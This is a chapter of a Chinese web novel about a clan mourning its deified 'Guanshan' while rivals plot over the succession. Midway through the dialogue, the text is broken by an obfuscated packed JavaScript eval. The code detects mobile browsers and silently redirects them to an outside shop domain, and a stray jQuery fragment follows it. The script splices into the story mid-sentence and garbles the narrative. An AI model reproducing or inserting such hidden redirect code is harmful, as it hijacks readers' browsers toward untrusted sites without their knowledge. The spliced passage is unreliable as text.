文趣网 > 其他小说 > 十二重 > 46. 陨落(二)
    “你一直跟着我做什么?”刘鸿没有好气的看着身旁的空辞,他的儿子不过十九岁,一脸未经世事的天真,满脸的好奇都快藏不住了,他撇开视线,不想给空辞机会问些什么。

    “父亲,你要派谁去通知程阔和衡生?”空辞主动忽略了父亲脸上的不耐,跃跃欲试的问道。

    “派谁也不会派你。”刘鸿快步走到门口,径直拉开车门,空辞一个闪身跟着上了车,刘鸿扶了扶额头,他要处理的事情太多了,全都是大长老的吩咐,然而他却不能发火给自己的儿子,毕竟他只有这么一个儿子,将来也是要接他的班,他必须好好的教授着对方,直到对方可以掌事。

    “那我就去找阿念想法子了,您也知道阿念路子多。”空辞满不在意的说道。

    “你不能去找阿念,不要在这个关口找事,阿念现在需要跟江让他们去藏南,有很多后事都要他们处理,你跟着就是捣乱。”刘鸿说着话,叹了一口气,有些无奈,又似乎夹杂着其他低落的情绪:“空辞,你未经历过,为父也未经历过,但是我们都要适应,接下来的几十年,百年,都有可能迎来观山的陨落。”

    “不是奉为神明吗?”空辞这话就听不懂了,什么叫做好迎接他们的丧仪准备,明明是神,神又怎会死亡?

    刘鸿的嘴角溢出一丝苦笑,却没有回答什么,他记得第一次看到现任的观山时候,对方只是一个八岁的孩童,面无表情的盯着众人,小小年纪,眼底空无一物,各视旁人无物,当年就有人断言,此子不简单,结果也让众人惊喜。

    奈何,世事无常,相逢定在别离中,再次了解对方,却是在筹备对方的丧仪。

    想到这里,刘鸿摸了摸空辞的头:“观山是神,是家族兴旺昌盛的象征,你说的没错,只是我们要做好准备。”

    做好,随时等待观山陨落的准备,等待下一任观山进入十二重,等待为家族延绵长寿的时间......

    ————

    三天后,距离梵蒂冈城北三十公里外的一栋别墅中。

    落地钟时针指向午夜12点的一刻,黑漆漆地客厅里逐渐亮起微光,不一会儿,有人风尘仆仆地走了进来。

    “确认无疑,观山陨落。”来人的影子映在墙上,对着沙发中央十分恭敬地行礼,却等来一片寂静。

    但他似乎并不担心什么,一直耐心地等待着寂静无声的客厅里传来一声令下,身子紧绷,动作不曾改变。

    约摸几分钟后,空荡地客厅内传来一阵脚步声,再然后,空气里响起刺啦一声,一只骨节分明的手点起了根蜡烛。

    “观山,真的死了?”男人的声音低沉而不屑。

    来人不敢抬头,身子更加紧绷着一动不动:“是的,本家已经开始准备。”

    男人点了点头,表情未明,无人敢娶揣测什么。他脊背向后倚去,手中的蜡烛靠近了自己,进而在烛光左右摇摆中露出一张俊美无暇的容颜。

    “短短二十年。”不知是可惜还是什么,他的语气轻微有些变化,多余的也没有什么意味。

    “本家正在催促您回去。”崔旭如实把探听的消息回禀,却因对方没有任何声音,而无端紧张起来,或者说,是因一种山雨欲来前的平静感到惶恐不安。

    “阿旭,你说这么多年过去了,那群老家伙,怎么还不死了呢。”男人低沉的声音淹没在齿缝之间,带着一种浓浓的恨意,还多了一种怒其不争的意味,叫人听着极为复杂。

    “主家,您还要再耐心等一等,这次回去还有其他人选。”

    “我知道,我有耐心。”男人的目光转向崔旭,凌厉深沉而悠长:“我的耐心很长,比起我,那群老家伙们更着急。”

    只是,只是可惜了,又是一个完美的献祭品,就这么的消失了,他记得那个男人,记得对方初见时的冷漠,浑身不染尘埃,像是另外一个世界中人,他从未见过这样的人,一瞬间所有感官和注意都被吸引,完完全全被对方占据。

    尤其是那人的眼神,空空无物,不带任何情感,强大而睥睨一切,是他难以形容的感觉。

    “主家,茶来了。”清丽的声音由远及近,一身墨纹旗袍,婀娜多姿,女人长发绾成髻,上面横插一根细细的银簪,瓜子小脸,柳叶眉,柔顺而媚。

    温柔将一杯清茶放到桌子上,步伐款款走向沙发中间的年轻男人。

    “你怎么出来了。”年轻的男人皱了皱眉,似有不悦的样子。崔旭悄悄瞥了一眼,这下更不敢抬头了。

    “因为担心主家着凉啊。”温柔嘴角挂着淡淡的笑意:“夜深了,凉意刺骨,我担心你着凉了。”

    她声音轻柔,说出的关心叫人无从发火,几句话里已经打消了对方的不悦。

    “不过,我听见了他的名字。”顿了顿,温柔扫了一眼垂头的崔旭,眼波一转,坐了下来,身子靠近沙发上的男人。

    “怎么好端端的又提他了。”女人似有不解,一双美目里带着大大地好奇。

    “我记得,都已经过去好几年的时间了,主家对他真是念念不忘。”她有些醋意的语气,神态不满,却让人感受不到半点不乐意,而是娇娇地吃味,惹人怜惜。

    “是啊,连阿柔都记得他,我又何曾忘掉。”男人叹了一声,似乎语气里藏着回忆,一段不为人知的故事。

    奈何,在场两人皆无法替他做什么答复,只能听着,他乐意或者不乐意提一嘴。

    “当然,事关主家,我怎能不在意呢,我记得他……”温柔笑了笑,将话接了回来,声音慢慢道:“观山氏的观山,也是霍家的祈楼。”

    “旁人艳羡此子显赫的出身,似乎天生惹人嫉妒,可惜,没命享受了。”她轻轻感慨了一句,听不出唏嘘的意味,只是将自己了解的说了出来罢。

    “主家定然与他不同,一个是注定要死的人,另一个嘛,则是要完成该完成的。”温柔露出一抹明艳的笑意,十分自信道。

    男人直勾勾地盯着温柔,目光越来越犀利,带着一种与生俱来的锋芒,高高在上,藏进藏出的野心勃勃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790672|210378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“你说的对,本质上,我与他完全不同。”

    “当然,您只要耐心等待,将来必会如愿以偿。”温柔笃定一笑,像是踩着正确答案降临,视线落在对方好看的桃花眼上,深情不移。

    “阿旭,去查查另一个人,那个什么生的。”说话间男人不耐的摆了摆手,崔旭点了点头,要走出去的时候,余光扫到,那个叫温柔的女人顺势靠了过去,一瞬间他们拉近了彼此的距离,他可不敢再看,逃也似得出去了......

    同一时间,天际迎来第一缕光,破开黑夜。

    承于四方大地的燃香,突然熄灭,恰好上空一声唳叫,似在提醒着信号的意味。

    “收获不小啊?”有人影走了过来,看着一脸沉默的年轻男人:“家族的讯息你看到了?”

    没有等到对方回应什么,他又是跟着一句:“外家选的是程阔,你应该不了解他,我却是知道一点。”

    “什么?”他碾灭地上的香,转过身看着一直在说话的张无水,轻淡,低沉,似有上位者漫不经心的语气,从他口中而出,冷酷而睥睨一切。

    “程阔,比你年龄大上两岁,幼年被本家收养,自此一直是二长老亲自培养的人选,为的是什么,你应该很清楚,谁不想让自家的一份子坐上观山宝座呢。”越说到后面,张无水的表情里越带着一种戏谑,他很想看看冰山脸的刘衡生在听到这些时会是一副什么表情,然而,结果不尽如意,对方脸上依旧没有什么情绪,仿若假面人一般。

    “我不明白你的谜语里究竟是什么谜题?”他无心去争论这些是非,更不关心旁人的选择是什么,又或者是挡了他的路。他只关心的是,自己这一身所学是否能够有资格成为十二重的主人,主宰一切。

    “衡生,你身在其中,难道从未看清过观山氏吗?”张无水像是整个人泄了气一般的问道,不是他技艺不精,而是他的心无法平静,在所有的历练者中的目标都只有那一个的时候,竞争便是不言而喻的事情,技高者得,所以他自知无望,才会选择结识衡生,向来骄傲的本家宗门宗子的衡生,眼里容不得一个人,却被迫接纳了自己,自己也为他挡过无数个阴谋暗箭。

    “天助自助,因果使然。”在衡生那张天然冷淡的面容里,难得多说了这么一句话:“我为何要明白呢?”

    顿了顿,他的眼中透着一种鄙夷:“你们真当成为了观山,就是成为了家族的神明吗?”

    “前任观山,难道不是上数百年来最为出色的一位吗?”衡生抬起眼,眼中的鄙夷被失意取代:“在此之前他还是个出身外家的普通人,他却可以八岁起势,开启列阵,难道他不是被赋予神的意志和力量,成为世人敬奉的神祇吗?”

    说到这里,他又恢复了往日那副冰山脸,了无情绪,也了无生气:“无水,狡兔死,走狗烹。”

    “无论我能否通过最后一项考验,我都没有一丝喜悦,只有,只有那些说不上来的情绪。”他看着张无水,看着对方因为他的话而显露出一种悲悯的情绪。